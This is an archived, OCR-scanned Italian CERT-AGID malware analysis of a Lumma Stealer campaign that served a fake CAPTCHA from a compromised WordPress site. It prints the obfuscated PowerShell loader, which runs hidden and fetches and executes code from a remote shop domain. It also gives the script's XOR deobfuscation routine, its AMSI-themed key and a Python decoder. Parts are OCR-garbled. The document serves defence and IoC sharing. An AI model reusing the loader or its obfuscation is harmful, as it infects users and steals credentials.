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Analisi di una campagna Lumma Stealer con falso CAPTCHA
condotta attraverso domino italiano compromesso
Archived: 2026-04-05 12:46:13 UTC

Una delle tattiche pit recenti adottate da Lumma Stealer per ingannare le vittime é I’impiego di CAPTCHA falsi,

progettati per indurre gli utenti a eseguire script dannosi.

Questo metodo si sta dimostrando estremamente efficace per gli attaccanti poiché sfrutta la fiducia che gli utenti
ripongono nelle sfide CAPTCHA, generalmente percepite come controlli di sicurezza legittimi per verificare

I’identita umana.

In una campagna osservata dal CERT-AGID nel mese di ottobre 2024, le vittime venivano avvisate di una
presunta vulnerabilita di sicurezza nei loro repository GitHub e invitate a cliccare su un link sospetto. All’apertura
del link, si trovavano di fronte a un falso CAPTCHA che le istruiva a copiare ed eseguire uno script PowerShell
tramite la funzione WIN+R (Esegui). Questo processo portava direttamente all’infezione del sistema con il

malware Lumma Stealer.

Dominio italiano compromesso con kit Lumma Stealer

1. Pross & hokd the Winoms Koy B R
2. i the verthcation windaw press Gl + .
3 Press Dot on youw heyboisd be i

Vou wil cserve and agres

" VERIFY

Falsa Captcha su dominio italiano compromesso

La scorsa settimana, il CERT-AGID si e imbattuto in un dominio italiano, basato su una versione obsoleta del
CMS WordPress, che é stato compromesso e sfruttato per diffondere il malware Lumma Stealer. I.’analisi del
codice sorgente ha rivelato la presenza di uno script JavaScript codificato in Base64, inserito in modo furtivo,
progettato per generare un falso CAPTCHA esclusivamente per le visite provenienti da sistemi operativi MS

Windows:
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<meta name—"generator" content="WordPress "/

<link rel='shortlink' href='https://www. italia.it/' />

<link rel="alternate" type—"appllcatlon/]son+oembed" href="https://www.
<link rel="alternate" type="text/xml+oembed" href="https://www. ° Ltal:

<script id="sjc" src="data.text/1a£scry_1__ basebd, ZnVuY3R9b24ngB4ZTA3M}{M
<link rel="preconnect" href="https://fonts.googleapis.com">

<link rel="preconnect" href="https://fonts.gstatic.com">

<link href='https://fonts.googleapis.com/css2?display=swap&family=Rale
<link rel="alternate" type="application/rss+xml" title=" RSS2 Feed"
<link rel="pingback" href="https://www. italia.it/xmlrpc.php" />

Script inserito nel codice sorgente della home page

Una volta seguite le istruzioni fornite dal falso CAPTCHA, viene eseguito il seguente script PowerShell, il cui

compito e quello di scaricare un file da una risorsa remota ed eseguirlo.

Input + Oz 8 =

UwBBAGEACQBBACAAUABYAGBAYWB LAHMACWAQAC TAQWABAFWAVWB pAGAAZABVAHCACWBCAFMAEQBZAF CAbWB3ADYANABCAFCAaQBUAGQAbWB3AHMAUABVAHCAZ
QBYAFMAAAB LAGWADABCAHYAMQAUADAAXABWAGBAdWE LAHIACWBOAGUADABSACAAZQB4AGUATgAGACOAVIWBPAGAAZABVAHCAUWBOAHKADAB LACAASABPAGQAZA
BLAGAATAAtAEEACOBNAHUADQBLAGAAABMAGKACWBBACAA JWAL AHCAIWASACCABABPAGQAZAB LAGAAIWASACCALQB LAHAAIWASACCAY gBSAHAAYQBZAHMA JWA
SACCALQBUAGBACAANACWAJWATAEMADWBEAGOAY QBUAGQAIWASACCAZWBKAHTATAATACOAOWBTAGUAJAATAF YAYQBYAGKAYQBiAGWAZQAGAEMAGQBVACAAKAAU
ACQARQB4AGUAYWB1AHQAAQBVAGAAQWBVAGAAAB1AHOAJAAUACYAKAAKAEUAEAB LAGMAJQBOAGK AbWBUAEMAbWBUAHOAZ QBAAHDAFABNAGUADOB 1AGUACAPA
FSANgBAACAATgBhAGOAZQAPACAAKAAOACQAROBAAGUAYWB1AHQARQBVAGAAQWBVAGAAAB TAHOAdAAUACOAKAAKAEUACABLAGMAIQBOAGKADWBUAEMADWBLUAH
QAZQB4AHQATABNAGUADQBiAGUACOADAF SANgBAACAATgBhAGEAZQAPAHWAT(QBLAGOAY B LAHIATABXAGOAZQBYAGUALQBPAGIAaGB LAGMAdABTACQAXWAUAEA
AYQBtAGUALQBsAGKAawB LACCAIWAGAHQAKgBVAGBAKGBKACCAIWBIACKALgBOAGEADQB LACKALGBJIAGAAdgBYAGSAZQACACQARQBAAGUAYWB 1AHQAaQBVAGAA
QWBVAGAAdABLAHgAdAAUACGAKAAKAEUAEAB 1AGMADQBOAGKAbWBUAEMADWBUAHQAZ()BAAHQATABNAGUADQB1AGUACGAPAFSANgBAACAATgBhAGBAZQAPACIAK
AADACQARQBAAGUAYWB1AHQAGQBVAGAAQWBVAGAAJABLAHOAAAUACIAKAAKAEUACAB LAGMAdQBOAGKADWBUAEMALWBUAHQAZQBAAHQATABNAGUADQBIAGUACY
ApAFsANgBAACAATgBhAGOAZ QAPACAAUABZAEBAYQBOAGUAYWBOACAATQBLAHQAAABVAGQACWBBAFcAABTAHTAZQAL AEBAYBGAGUAYWBOAHSAJABFACAATB
hAGEAZQAtAGWAAQBIrAGUAJWANACOADWBEACOAZQANACCATQAPACAATgBhAGBAZQAPACAASQBUAHYADWEr AGUAKAANACCATQAGACOATWAGACCAIWASACQAVABS
AFUARQASACQAVABSAFUARQAPACWAWWBNAGEAbOBhAGCAZQBTAGUADGBOACAAQQBIAHQAbWB t AGEAJABDAGBAb JAUAEMADWB tAGBAYQBUAGQAVABSAHAAZOBZA
FRADNABAFMAhORKAGWAZ (BAACKATOR]AHNAI nRXAGLAYaRDAGWAANR 1 AGAAJAANANSALIWR 1 AHNAI NRJAHNAZOR ACAAVORhAHTAANRhAGT ADARTADOAI WRSAF

nec 2248 = 1 Tr Raw Bytes ¢ LF
Output B0 M::
Start-Process "C:\Windows\SysWow64\WindowsPowerShellivl.@\powershell.exe" -WindowStyle Hidden -ArgumentlList '-

w', "hidden', "'-ep', 'bypass','-nop', '-Command', 'gdr -*;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext|Member)

[6].Name). ( ($ExecutionContext. ( ($ExecutionContext |Member)[6].Name) |[Member |Where-Object{$ .Name-
like'"'*t*om*d''}).Name).Invoke($ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.

( ($ExecutionContext|Member)[6].Name).PsObject.Methods|Where-Object{$_.Name-1like'"*om*e''}).Name).Invoke(''N*-0*"" 6 STRUE,
$TRUE), [Management ,Automation,.CommandTypes]::Cmdlet )Net, WebClient);Set-Item Variable:/lW ''https://klipderig.shop/sh'’
[ScriptBlock]::Create((GI variable:ciu).value.((((GI variable:Ciu).value|Member)|where-Object{$_.Name-
like''*nl*g"''}).Name).Invoke((Variable 1W).Value)).InvokeReturnAsIs()'

Codice PowerShell eseguito sul sistema

Analisi dello script PowerShell

Il file sh ¢ un nuovo script PowerShell di 10MB, composto da circa 22.000 righe di codice. I’esecuzione dello
script nelle sandbox online non ha prodotto risultati utili, poiché ¢ in grado di rilevare la natura dell’ambiente,

rendendo quindi necessaria un’analisi manuale.

Analizzando attentamente il contenuto e possibile notare una funzione, denominata fdsjnh , che legge una lista
di numeri ( charcode ), li converte in una stringa e li interpreta come una sequenza codificata in Base64.
Successivamente decodifica la stringa Base64 per ottenere un array di byte e poi li trasforma applicando

un’operazione XOR con una chiave specifica.

function fdsjnh { $arRmAtH = New - Object sYsTEm.ColLLectiONS.arRAyLISt; FOR ($i = @; $i - le
$dsAHg78dAS.Length - 1; $i++) { $arRmAtH.Add([char]$dsAHg78dAS[$i]) | Out - Null }; $z = $arRmAtH -
join ""; $Enc = [SYStEM.TEXt.ENcODinG]::UTF8; $XoRKEy = $Enc.$BBB("$GdFsODSAQ"); $strinG =
$Enc.GetString([systEm.coNVerT]: :FromBase64String($z)); $byteSTriNG = $Enc.$BBB($strinG); $xoRdData =
$(for ($i = 0; $i - 1t $byteSTriNG.length; ) { for ($j = 0; $j - 1t $XoRKEy.length; $j++) {

Page 2 of 5


https://cert-agid.gov.it/wp-content/uploads/2025/01/image-1.png
https://cert-agid.gov.it/wp-content/uploads/2025/01/image-1.png
https://cert-agid.gov.it/wp-content/uploads/2025/01/image-2-1024x572.png
https://cert-agid.gov.it/wp-content/uploads/2025/01/image-2-1024x572.png
https://www.joesandbox.com/analysis/1586809/0/html

https://cert-agid.gov.it /news/analisi-di-una-cam pagna-lumma-stealer-con-falso-captcha-condotta-attraverso-domino-italiano-compromesso/

$byteSTriNG[$i] - bxor $XoRKEy[$j1; $i++; if ($i - ge $byteSTriNG.Length) { $j = $XoRKEy.length } } }
); $xoRdData = $Enc.GetString($xoRdData); return $xoRdData }

La chiave XOR

La chiave XOR e associata alla variabile $GdFsODSAQ ed é derivata dalla riassegnazione di variabili in un codice

lungo 18.000 righe. Senza questa chiave, non e possibile decodificare correttamente il contenuto.

La soluzione piu rapida per ottenere la chiave XOR é stata quella di isolare il codice fino alla dichiarazione della
variabile $GdFsODSAO , aggiungendo una riga allo script per salvare il valore in un file (denominato xorkey.txt )

ed eseguirlo sulla sandbox AnyRun.

Set-Content C:\Users\admin\Desktop\xorkey.txt $GdFsODSAQ;

g ."Q B

Recycle Bin-  Microsoft  germanres.., | xarkeyit
dge

A

CCleaner ETIH Tl xorkey.tet - Notepad

File Edit Format View Help
JAwST_RESULT_NOT_DETECTED

- el

Adobe  alternatives.. o)
Acrobat

Ln, Col1 100%  Windows (CRLF)

Decodifica della chiave XOR sfruttando AnyRun

La chiave XOR ottenuta € AMSI_RESULT_NOT_DETECTED , che rappresenta il valore restituito dall’APT AMSI

(Antimalware Scan Interface) di Microsoft ed indica che il contenuto analizzato non é stato identificato come

dannoso o sospetto dal software antivirus.

Decodifica della funzione principale

A questo punto é possibile utilizzare la chiave all’interno della funzione fdsjnh per decodificare il contenuto. A

tal proposito, € stato sviluppato il seguente codice Python per eseguire la decodifica:

import base64 # Array di byte dsAHg78dAS = [83,50,53,122,68,84, ...] def fdsjnh(): # Converte 1'array
di byte in una stringa z = ''.join([chr(byte) for byte in dsAHg78dAS]) # Decodifica Base64
decoded_string = base64.b64decode(z).decode('utf-8') # Chiave XOR xor_key =
"AMSI_RESULT_NOT_DETECTED".encode('utf-8"') # Decodifica XOR byte_string = decoded_string.encode('utf-
8') xord_data = bytearray( byte A xor_key[i % len(xor_key)] for i, byte in enumerate(byte_string) ) #
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Restituisce il risultato decodificato come stringa return xord_data.decode('utf-8') # Stampa risultato
print(fdsjnh())

Il codice restituito dalla funzione fdsjnh é nuovamente uno script PowerShell di 2 MB, contenente una variabile
$a a cui e assegnata una lunga stringa codificata in Base64. Da questa stringa si ottiene un file eseguibile (EXE)

che si rivela essere proprio il malware Lumma Stealer.

Input + O 0 =

[TVOQAAMAAAAEAAAA/ / BAALGAAAAAAAAAQAAANAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAANAAAAAAAAGAAAAAL FUGAAL ANNTDGBTMBNYGhpCyBre
mancmF t IGNhbmSvdCBiZSBydWagaw4 gREITTG1vZGUUDQEKIAAAAAAAAABQROAATAEDABNE FICAAAAAAAAAADAAAGE L AQUAAEWVAAAT AAAAARAA M
OVAAAGAAAAAAAAALBAAAAAAAAATAABAAAAAAAANAEAAAAAAAAAADAF QAAAGAAVEN T AQTAY TUAABAAABAAAAAAE AAAEAAAAAAAABAAAAAAAAAAAAA
AADhqFQBTAAAAATAVAAAGAAAAAAAAAAAAAABWF OBQLOAAAKAVAAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALAAAALAAAAAAAAAAAAAA
AAAAAAAATAAACAAAAAAAAAAAAAAACCAAAEAAAAAAAAAAAAAACSOZXhOAAAA L EOVAAAGAAAAT BUAAAT AAAAAAAAAAAAAAAAAACAAAGALCHINY YWAAA
AAGAAAAGBUAAAYAAABOF QAAAAAAAAAAAAAAAABAAABAL N 1DGE ] AAAMAAAAAKAVAAACAAAAVBUAAAAAAAAAAAAAAAAAQAAAQDAAAAAAAAAAAAAAAA
AAAABWANUAAAAAAEGAAAACAAUAEMEUANC 0AAADAAAABAAABMZ PAACAT hMAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAANAAAABH
WBAAUAAAAAQAAEShGAQAGT JgBHWAUFBQodwEAB1 YqEZ AEAABAAAABAAARTET 7HWAUFBQodWEAB Y qBi0AAAATMAQADWAAAAEAABE gZ sTABQUFCh3
AQAGI10UKwKwgAT0AQAACT0AEZAEABMAAAABAAARTOS 7THWAUFBQodwEABNQBAAABKgATMAQAEWAAAAEAABE D1 ] s FABQUFCh3AQAGIAGAAAEABMWE
AARAAAAAQAAERENBOAAASUWAGTKIKK THWAUFAY 0dwEABL Y QAAATMAQAEWAAAAEAABEG T z0 FABQUECHh 3AQAGUAEAABS GABMWBAASAAAAAQAAE SEWOR
BAKAYAAADVBWAACEAEAAACKAGAAADY CQAAC 1 gKAMAKFBQOWEAB YOL i5Cr sSECKAEAAAOQE ZAEADAAAAABAAART L LGHWAOBgAACTBHAAAKOAUAAAT
0CAAACTIB JAAAKKADAAAOUFCh3AQAGAYAAAE]L 1 SCWaWCKAEAAAOQE ZAEAABAAAABAAART L8 HWAUF BQodwEAB1 YQABMWBAASAAAAAQAAESEATXBA
AgAAAPYCQAAC 1 gKAAAKFBQOdWEAB YqEZ AEABMAAAABAAARTO JRHWAUFBQOdWEABGUIAAABKNACKAEAAAC GABMWBAADA

1AKWRAANNCWAACOAFAAAFTI9RHWALIFRO0AWFAR T YnAAAAF 7 AFAFNAAAARAAARGTAGAAARIRYC NI UXAAWCAAARDODNK?
Tr Raw Bytes ¢ LF

indows Portable Executable
file detected

Output £« B0 @E::

‘MZ":'\' y Mg ! )"Y, L @ ', e, P M M M e, M M e e M M M M e M w, e, M M M, e e M T e M e e M O My T ]‘:!’ LLI'This program

cannot be run in DOS mode. -

0 PET L e A i L i : @

N et 4, ", e ", H UL text

ey R B T T A T T T T Tt CR T T TR of Y o i TR A T T ™Y e M N M M M M e @ @_reh}c‘.' e T
T B e g A T v T By

B ¥ 0" £yt (w & +10Tn (

W B, (W R B e g i, (W R R B R e

B e (W B B o (W E R B T VG (T

o

2 (

0

sar 1418128 = 6824 (D 260ms Ty Raw Bytes &1 LF

Eseguibile Lumma Stealer ottenuto dal Base64 presente nello script PowerShell

Account Steam Community per i C2

Lumma Stealer continua a sfruttare il consueto profilo della Steam Community per ottenere i domini dei server di
command and control (C2) in forma codificata ROT15, ai quali invia i dati esfiltrati come credenziali, wallet e
informazioni personali. Inoltre, attraverso questi server, riceve aggiornamenti su nuovi codici da eseguire e

ulteriori file da scaricare.
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&£ Install Steam

STORE ABOUT SUPPORT

dafeytv-1985.nzx ~

This user has also played as

Inventory

Profilo Steam Community contenente i C2 cifrati

Azioni intraprese

A valle di questa analisi, i responsabili del sito compromesso sono stati informati ed invitati a risolvere
prontamente il problema. Nel frattempo, la campagna é stata censita ed i relativi Indicatori di Compromissione
(IoC) sono stati diffusi tramite il feed IoC del CERT-AGID.

Indicatori di Compromissione

Al fine di rendere pubblici i dettagli per il contrasto di questa campagna, vengono di seguito riportati gli indicatori
rilevati, gia diramati attraverso il Feed IoC del CERT-AGID a tutti gli enti le pubbliche amministrazioni

accreditate.

Link: Download IoC

Source: https://cert-agid.gov.it/news/analisi-di-una-campagna-lumma-stealer-con-falso-captcha-condotta-attraverso-domino-italiano-comprom

esso/
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